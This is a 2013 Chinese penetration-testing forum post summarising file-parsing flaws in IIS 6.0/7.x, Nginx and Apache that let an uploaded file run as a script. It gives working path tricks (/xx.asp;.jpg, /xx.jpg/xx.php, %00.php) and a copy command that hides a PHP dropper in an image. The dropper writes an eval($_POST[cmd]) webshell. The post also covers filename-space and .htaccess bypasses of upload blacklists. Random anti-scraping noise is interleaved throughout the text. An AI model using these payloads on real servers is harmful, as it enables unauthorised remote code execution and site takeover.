中国网络渗透测试联盟
标题:
常见服务器解析漏洞总结
[打印本页]
作者:
admin
时间:
2013-4-19 19:14
标题:
常见服务器解析漏洞总结
Author : laterain
5 f9 {* B- T/ j# b
[+]IIS6.0
# {$ P" F! ~* u5 N/ E" ^+ ~1 |9 G9 n
, K% X5 X) O0 t( y. i# u
目录解析:/xx.asp/xx.jpg
, z9 @/ W: l; v$ ?. c
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
% L0 [! O: j" U! S1 H& ?& h
IIS6.0 会将 xx.jpg 解析为 asp 文件。
" t- r. u( x/ i* Z6 X5 V* x, W
后缀解析:/xx.asp;.jpg
- Z+ ~ l) y( ], O+ [6 C: d% U/ S
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
: c- O7 W3 u$ v6 R, S
默认解析:/xx.asa
- n- v' c) B4 b
/xx.cer
1 M% S7 g8 W- d! Y; `
/xx.cdx
# Z6 y. A- {0 X& j% }* c
IIS6.0 默认的可执行文件除了 asp 还包含这三种
% X3 n5 O1 l1 V4 _) m8 }
此处可联系利用目录解析漏洞
8 S E; I0 U# X) M6 w& u' q- J
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
9 K- U0 [" ]' p. ~0 E
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
' h8 C. e1 f" Z) J# C9 A* Z, L& A
' ?2 @# r. f D; _
IIS 7.0/IIS 7.5/Nginx <0.8.03
5 A, V0 P" Q" B6 e$ G
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
2 [* T! |0 ?) S
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
! \+ M3 ~' w* d. R! k) X0 b
常用利用方法:
% q; A, O( V1 {% w' D7 d
将一张图和一个写入后门代码的文本文件合并将恶意文本
8 D8 R- E2 F$ A6 X
写入图片的二进制代码之后,避免破坏图片文件头和尾
* V4 r7 \2 E. Z
如:
& j0 r2 y; A$ ?+ ~% L
copy xx.jpg /b + yy.txt/a xy.jpg
8 m( |% v6 \1 C& @0 t$ v
#########################################################
; r3 c. m3 r+ v
/b 即二进制[binary]模式
$ i2 J6 f1 s( o, f; C
/a 即ascii模式
6 F2 i7 p1 T+ j; s9 Q
xx.jpg 正常图片文件
8 S, g6 I: V& Z
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
' G F1 P1 B( F3 T) d2 J4 _
'<?php eval($_POST[cmd])?>');?>
* m$ V- P' K# a9 Y9 u
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
& n: l) `) l1 K
为shell.php的文件
5 d8 ], q* W7 l0 h* i/ W& }
###########################################################
4 r' }" F1 ]: @" A* P8 ^
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
. i5 P V+ O( g# v
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
' X6 R# ^% M) d9 d* @$ i
密码 cmd
' ~: f& q# t7 X9 w' {9 l' o
[+]Nginx <0.8.03
! c- F1 E: g" W/ x7 W) E' o2 m
- _, l) x# A: t) ^1 R8 c2 O
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
# i' \6 o N4 }. Z
在一个文件路径(/xx.jpg)后面加上%00.php
* U! j+ D4 `% A
会将 /xx.jpg%00.php 解析为 php 文件。
. B( ^$ @' A, e8 X% e# e
[+]Apache<0.8.03
4 F, I. o8 e" {/ l5 i& b5 C# I
& ^0 _3 i4 C8 J, @
后缀解析:test.php.x1.x2.x3
6 r' D* u3 y; G" _+ v
Apache将从右至左开始判断后缀,若x3非可识别后缀,
' T9 {6 R& E) s. D9 M
再判断x2,直到找到可识别后缀为止,然后将该可识别
% Y- `4 U& n3 h3 A/ \
后缀进解析test.php.x1.x2.x3 则会被解析为php
X! @* n$ R& z( C2 t& k& d! j* E
经验之谈:php|php3|phtml 多可被Apache解析。
|; @( O% k* X- M2 J
[+]其他一些可利用的
* |' W3 }; g) r( T; R: p9 s# ^
3 o& F" O, G, W; `6 }/ M; e- G
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
% V: u: `" n- x/ f5 x
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
/ x6 D! ^ r# r
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
3 b0 T$ `# a# I. t' R3 }) N
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
4 m( S1 C: ]+ R
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
5 ]) j) N! {2 G. R) w
{Linux主机中不行,Linux允许这类文件存在}
+ [: V/ |/ M% t" l; i
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
e+ f; k+ ?. Y: _: r
的,当初我并不知道),且可以被上传,那可以尝试在
: f3 @+ ?5 V+ p3 x; b
.htaccess中写入:
7 L- d' d- P( U. e* n. [' }- g
<FilesMatch “shell.jpg”>
* ], s K* N/ o! y+ S( {
SetHandler application/x-httpd-php
1 n# R7 M$ m0 L9 N' a: `% L
</FilesMatch>
1 @' K5 l4 d; C
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
! Q: b+ ?4 D, B$ y" q
[+]错误修改
! W* B" {6 d/ m2 f+ |3 s
5 J! E" D6 I1 a' U* [
在 IIS 6.0 下可解析 /xx.asp:.jpg
& M* p S0 U. }7 n* T6 u" y
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
5 Z1 v7 x8 ?- _" q" {/ N6 l
剩下/xx.asp}修改:
0 G# K( p9 F7 s
先谢谢核攻击的提醒
( [$ p# b8 D# x7 b6 g
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
- d/ k+ Y1 |: _4 a
里是没有任何内容的,因为。。不好解释 大家自己看
& D$ F: }" j, ~( F6 N4 d
http://lcx.cc/?i=2448
- v% g! q# t* E1 {- s+ o
http://baike.baidu.com/view/3619593.htm
0 P- q8 H2 F9 v
6 _4 \! G* ^$ C/ o; R% c
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2